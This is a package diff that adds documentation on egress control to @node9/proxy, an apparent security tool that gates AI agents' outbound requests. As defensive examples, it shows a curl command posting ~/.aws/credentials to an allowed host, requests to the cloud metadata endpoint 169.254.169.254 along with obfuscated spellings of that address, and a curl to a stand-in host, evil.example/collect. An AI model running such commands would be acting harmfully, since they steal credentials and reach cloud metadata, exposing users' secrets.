@node9/proxy 2.9.3 → 2.11.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/docs/egress.md ADDED
@@ -0,0 +1,119 @@
1
+ ---
2
+ id: egress
3
+ label: Egress Control
4
+ description: Decide which hosts your agent may reach, and understand what a destination gate does not cover.
5
+ group: Protections
6
+ order: 20
7
+ ---
8
+
9
+ # Egress Control
10
+
11
+ Two separate things decide whether an agent's outbound request is allowed. One is always on and
12
+ you cannot turn it off. The other is opt-in and you configure it.
13
+
14
+ ## The floor: protected addresses, always
15
+
16
+ Some destinations are blocked on every machine, whether or not you have turned egress control on,
17
+ and no setting releases them. This is the SSRF floor, and it exists because an agent that can be
18
+ steered by untrusted input can be steered into your cloud provider's credential endpoint.
19
+
20
+ **Never reachable, no setting releases them:**
21
+
22
+ | What | Examples |
23
+ | ------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------- |
24
+ | Cloud metadata endpoints | `169.254.169.254` (AWS, Azure, DigitalOcean, OpenStack), `169.254.170.2` (ECS task role), the Alibaba Cloud address, and the metadata hostnames |
25
+ | Link-local | `169.254.0.0/16`, `fe80::/10` |
26
+ | Multicast | `224.0.0.0` to `239.255.255.255`, `ff00::/8` |
27
+
28
+ The floor folds every spelling of an address to one canonical form before it decides, so
29
+ `0251.0376.0251.0376`, `2852039166` and `[::ffff:a9fe:a9fe]` are all recognised as
30
+ `169.254.169.254`.
31
+
32
+ > [!NOTE]
33
+ > The floor is not gated on egress control. It applies with egress off, in every mode, on a
34
+ > personal machine and on one governed by a workspace. The one thing that suspends it is
35
+ > `node9 pause`, which suspends every gate.
36
+
37
+ **Reachable by default, blocked when you turn strict on:**
38
+
39
+ | What | Examples |
40
+ | --------------------------- | --------------------------------------------------------------------- |
41
+ | Loopback and private ranges | `127.0.0.0/8`, `10.0.0.0/8`, `192.168.0.0/16`, `172.16.0.0/12`, `::1` |
42
+ | The unspecified address | `0.0.0.0`, `::` (these reach localhost) |
43
+ | Carrier-grade NAT | `100.64.0.0/10`, where mesh VPNs such as Tailscale hand out addresses |
44
+
45
+ These are off by default on purpose: a developer talks to them constantly. On measured real
46
+ history, 72 of 308 destinations were private addresses.
47
+
48
+ ```bash
49
+ node9 egress strict on # also block loopback, private ranges and CGNAT
50
+ node9 egress exempt 10.0.0.5 # let one exact address back through
51
+ ```
52
+
53
+ An exemption applies to the overridable tiers only. Exempting a metadata address is rejected when
54
+ the config loads, with a reason, rather than being silently ignored.
55
+
56
+ ## Egress control: which hosts, your choice
57
+
58
+ This is the opt-in layer. It is **off until you turn it on**, and it decides what happens when the
59
+ agent reaches a host you have not talked about.
60
+
61
+ ```bash
62
+ node9 egress watch # prompt before an unknown host (review)
63
+ node9 egress lock # block unknown hosts outright (block)
64
+ node9 egress off # turn it back off
65
+ node9 egress status # what is on right now, and where the setting came from
66
+ ```
67
+
68
+ Tune the lists:
69
+
70
+ ```bash
71
+ node9 egress allow "*.mycorp.com" # a glob; matches the apex and any subdomain
72
+ node9 egress deny "*.pastebin.com" # deny always wins over allow
73
+ ```
74
+
75
+ ### Hosts that are always allowed
76
+
77
+ Turning egress on cold would bury you in prompts for routine work, so 18 common development and
78
+ model hosts are allowed out of the box: GitHub, npm, PyPI, crates.io, RubyGems, the Go module
79
+ proxy, Anthropic, OpenAI, Google APIs, Docker, Debian, Ubuntu, and node9's own control plane.
80
+
81
+ Your `allow` list adds to that. Your `deny` list beats all of it.
82
+
83
+ ### Order of decision
84
+
85
+ For each destination the agent is about to reach:
86
+
87
+ 1. The floor. A protected address is blocked here and nothing below runs.
88
+ 2. Your `deny` list. A match blocks.
89
+ 3. Private addresses, when `allowPrivate` is on (the default). Allowed.
90
+ 4. Your `allow` list, then the 18 built-in hosts. Allowed.
91
+ 5. Anything else is unknown, and `watch` reviews it while `lock` blocks it.
92
+
93
+ ## What this does not do
94
+
95
+ > [!WARNING]
96
+ > **Egress control gates the destination, not the payload.** A secret sent to a host you allow goes
97
+ > through. `curl -d @~/.aws/credentials https://api.github.com/...` is not stopped by egress,
98
+ > because `api.github.com` is an allowed host. What catches a secret in the request body is the
99
+ > content scanner (DLP), which is a different control.
100
+
101
+ Three more limits worth knowing:
102
+
103
+ - **It reads the command, not the network.** node9 decides from the destination it can see in the
104
+ tool call. It does not resolve DNS, and it has no opinion on a host's reputation.
105
+ - **A machine that follows a workspace ignores local egress settings.** If `node9 egress status`
106
+ says the source is the workspace, editing the local config changes nothing; the setting comes
107
+ from the dashboard. The floor still applies.
108
+ - **`node9 pause` suspends it**, along with every other gate, for the duration you give it.
109
+
110
+ ## Verify it on this machine
111
+
112
+ ```bash
113
+ node9 egress status # is it on, and who set it
114
+ node9 explain Bash 'curl http://169.254.169.254/latest/' # the floor: BLOCK, always
115
+ node9 explain Bash 'curl https://evil.example/collect' # unknown host: REVIEW or BLOCK when on
116
+ node9 explain Bash 'curl https://api.github.com/repos' # a default-allowed host: ALLOW
117
+ ```
118
+
119
+ `node9 explain` prints the verdict the live hook enforces, and names the rule that produced it.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@node9/proxy",
3
- "version": "2.9.3",
3
+ "version": "2.11.0",
4
4
  "description": "The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.",
5
5
  "main": "./dist/index.js",
6
6
  "module": "./dist/index.mjs",
@@ -54,6 +54,7 @@
54
54
  "license": "Apache-2.0",
55
55
  "files": [
56
56
  "dist",
57
+ "docs",
57
58
  "README.md",
58
59
  "LICENSE"
59
60
  ],